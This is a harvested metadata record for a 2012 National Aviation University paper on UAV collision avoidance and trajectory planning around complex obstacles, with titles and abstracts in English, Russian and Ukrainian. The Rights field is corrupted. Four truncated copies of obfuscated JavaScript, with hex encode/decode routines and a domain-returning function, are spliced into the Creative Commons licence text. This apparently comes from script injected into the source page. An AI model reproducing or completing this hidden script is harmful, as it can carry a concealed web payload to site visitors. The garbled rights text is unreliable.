NAU Harvester System
MINIMIZATION OF UNMANNED AERIAL VEHICLE TRAJECTORY DEVIATION DURING THE COMPLICATED OBSTACLES OVERFLY
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
MINIMIZATION OF UNMANNED AERIAL VEHICLE TRAJECTORY DEVIATION DURING THE COMPLICATED OBSTACLES OVERFLY
МИНИМИЗАЦИЯ ОТКЛОНЕНИЙ ТРАЕКТОРИИ БЕСПИЛОТНОГО ЛЕТАТЕЛЬНОГО АППАРАТА ВО ВРЕМЯ ОБЛЕТА ПРЕПЯТСТВИЙ СЛОЖНОЙ ФОРМЫ МІНІМІЗАЦІЯ ВІДХИЛЕНЬ ТРАЄКТОРІЇ БЕЗПІЛОТНОГО ЛІТАЛЬНОГО АПАРАТА ПІД ЧАС ОБЛЬОТУ ПЕРЕШКОД СКЛАДНОЇ ФОРМИ |
|
| Creator |
Kharchenko, Volodymyr; Національний авіаційний університет
Kuzmenko, Nataliia; Національний авіаційний університет |
|
| Subject |
aeronautical chart; collision avoidance; obstacle, overfly; Unmanned Aerial Vehicle
004.942:629.735.33-519(045) аэронавигационная карта; беспилотный летательный аппарат; облет; предупреждение столкновений; препятствие 004.942:629.735.33-519(045) еронавігаційна карта; безпілотний літальний апарат, обліт; перешкода; попередження зіткнень 004.942:629.735.33-519(045) |
|
| Description |
In the article the important problems of Unmanned Aerial Vehicle collision avoidance have been discussed. The model of Unmanned Aerial Vehicle movement was described. The principle of complicated form of the obstacle overfly trajectory creation has been represented. An overfly of the restricted area at the aeronautical chart was shown.
Описана одна из наиболее важных проблем обеспечения безопасности полетов беспилотных летательных аппаратов. Рассмотрены методы предупреждения столкновений беспилотных летательных аппаратов с препятствиями. Приведены возможные пути траекторий беспилотных летательных аппаратов, имеющие форму дерева, с изменением скорости и угла поворота. Представлена методика расчета траектории облета препятствия сложной формы, в основу которой положен расчет расстояний между препятствием и запланированной траекторией, а также изменение траектории до точки, удовлетворяющей условия алгоритма. Моделирование выполнено в специальном программном комплексе с использованием аэронавигационных данных. В качестве примера показаны результаты работы программы с траекторией движения беспилотного летательного аппарата из Нового Буга в Кривой Рог и с препятствием сложной формы. Описано одну з найбільш важливих проблем забезпечення безпеки польотів безпілотних літальних апаратів. Розглянуто методи попередження зіткнень безпілотних літальних апаратів з перешкодами. Наведено можливі шляхи траєкторій безпілотних літальних апаратів, що мають форму дерева, зі зміненням швидкості та кута повороту. Подано методику розрахунку траєкторії обльоту перешкоди складної форми, в основу якої покладено розрахунок відстаней між перешкодою та запланованою траєкторією, а також зміна траєкторії до точки, що задовольняє умови алгоритму. Моделювання виконанo в спеціальному програмному комплексі з використанням аеронавігаційних даних. Як приклад показано результати роботи програми з траєкторією руху безпілотного літального апаратa з Нового Бугу до Кривого Рогу та з перешкодою складної форми. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2012-09-20
|
|
| Type |
—
— — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/2151
10.18372/2306-1472.51.2151 |
|
| Source |
Proceedings of the National Aviation University; Том 51, № 2 (2012); 18-21
Вестник Национального авиационного университета; Том 51, № 2 (2012); 18-21 Вісник Національного Авіаційного Університету; Том 51, № 2 (2012); 18-21 |
|
| Language |
ru
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|